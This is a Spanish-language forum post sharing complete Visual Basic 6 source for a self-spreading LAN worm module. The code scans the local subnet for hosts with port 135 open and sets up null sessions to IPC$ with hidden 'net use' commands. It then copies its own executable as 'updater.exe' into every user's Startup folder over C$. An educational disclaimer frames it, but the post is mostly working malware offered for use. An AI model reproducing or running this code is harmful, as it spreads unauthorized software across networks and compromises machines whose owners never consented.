NetBios infection Module 1.0Alguien ha pedido como hacer que nuestra aplicación hecha en
VB6 infecte todos los equipos de una
LAN de forma
automática? Bien, aquí tienes un sencillo módulo que permite hacer tal cosa.
Para ello me he aprovechado de las flaquezas del protocolo
NetBios, así como el poder de las sesiones nulas al
IPC$ para infectar una
LAN.
Este código es algo peligroso y sólo lo publico como prueba de concepto, el fin de este código es puramente educativo y didáctico, cualquier otro fin que le podáis dar será calificado como ilegal y el autor no se responsabilizará de los efectos causado por él. Para probar esta código es necesario hacerlo bajo unas estrictas medidas de seguridad y bajo un entorno de prueba. Prohibido usarlo en redes de trabajo reales.sin más que añadir... aquí lo tenéis.
'##############################################'
'# #'
'# NetBios LAN Infection Module - version 1.0 #'
'# #'
'# Made by ||MadAntrax|| #'
'# Date: 14/jul/07 #'
'# #'
'# Happy Coding... ;D #'
'##############################################'
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim WS As CSocketMaster
Sub Main()
Set WS = New CSocketMaster 'Modulo Winsock de CSocketMaster
Dim SelfIP As String 'Nuestra propia IP de la LAN
Dim SubNet As String 'Nuestra SubRed, ejemplo: 192.168.1.X
Dim SubNetArray As String 'Almacenamos los Hosts de la LAN que son vulnerables
Dim BufferIP() As String 'Almacenamos los octetos de nuestra IP
SelfIP = WS.LocalIP 'Obtenemos nuestra IP de la LAN
BufferIP = Split(SelfIP, ".") 'Partimos los octetos en un Array
If UBound(BufferIP) = 3 Then
SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2) 'Obtenemos nuestra SubRed: 192.168.1.X
SubNetArray = GetAliveHosts(SubNet, BufferIP(3)) 'Obtenemos los Hosts que son vulnerables a NetBios
If SubNetArray <> "0" Then 'Comprobamos que hay Hosts vulnerables en nuestra LAN
Call GetPrivilegesOnSubNet(SubNet, SubNetArray) 'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
DoEvents 'Esperamos...
Call InfectSubnet(SubNet, SubNetArray) 'Infectamos los Hosts vulnerables gracias a C$
End If
End If
End Sub 'Fin del Código
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que almacena en un array el último octeto de la dirección IP de
'todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.5
' 192.168.1.10
' 192.168.1.128
' 192.168.1.200
'
'Esta función devuelve: "5,10,128,200"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
Dim AliveHosts As String 'Array donde se almacenan los Hosts vulnerables
AliveHosts = ""
WS.Protocol = sckTCPProtocol 'Establecemos el protocolo en TCP
For i = 1 To 254 'Bucle desde X.X.X.1 hasta X.X.X.254
If WS.State <> sckClosed Then WS.CloseSck 'Si el Socket no está cerrado, lo cerramos para evitar errores.
DoEvents 'Esperamos...
WS.Connect SubNet & "." & i, 135 'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
Sleep 500 'Esperamos 1/2 Segundo...
If WS.State = sckConnected And i <> MyHost Then 'Si el Hosts es vulnerable y el Host no es MiPC entonces...
AliveHosts = AliveHosts & i & "," ' añadimos el octeto del Host en el Array
End If 'End If
Next i
If Len(AliveHosts) > 0 Then 'Si hemos encontrado al menos 1 Host vulnerable...
AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1) ' quitamos el último caracter del Array (siempre es una ",") para evitar errores.
GetAliveHosts = AliveHosts ' devolvemos el Array como valor de retorno
Exit Function ' finalizamos esta función
End If 'End If
GetAliveHosts = "0" 'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
'en todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.128
' 192.168.1.200
'
'Esta función ejecuta:
' net use \\192.168.1.128\ipc$ "" /user:""
' net use \\192.168.1.200\ipc$ "" /user:""
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
Dim tmpArray() As String
Dim tmpIP As String
tmpArray = Split(SubNetArray, ",")
For i = 0 To UBound(tmpArray)
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
Next i
'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
'de los Hosts vulnerables a NetBios, para ello utiliza C$
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.128
' 192.168.1.200
'
'Esta función ejecuta:
' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
Dim tmpArray() As String
Dim tmpIP As String
tmpArray = Split(SubNetArray, ",")
For i = 0 To UBound(tmpArray)
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
Next i
'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
Que hace este código?Primero obtiene nuestra
IP y toma por defecto que se trata de una red de
clase C (255.255.255.0), a partir de aquí crea un bucle desde:
X.X.X.1 hasta X.X.X.254 he intenta conectar al puerto
135 de
TCP (
NetBios), si lo consigue entonces establece una sesión nula (
net use X.X.X.128ipc$ "" /user:"") para luego copiarse en la carpeta inicio de todos los usuarios bajo la unidad
C$Dudas, comentarios, sugerencias, criticas.. aquí porfavor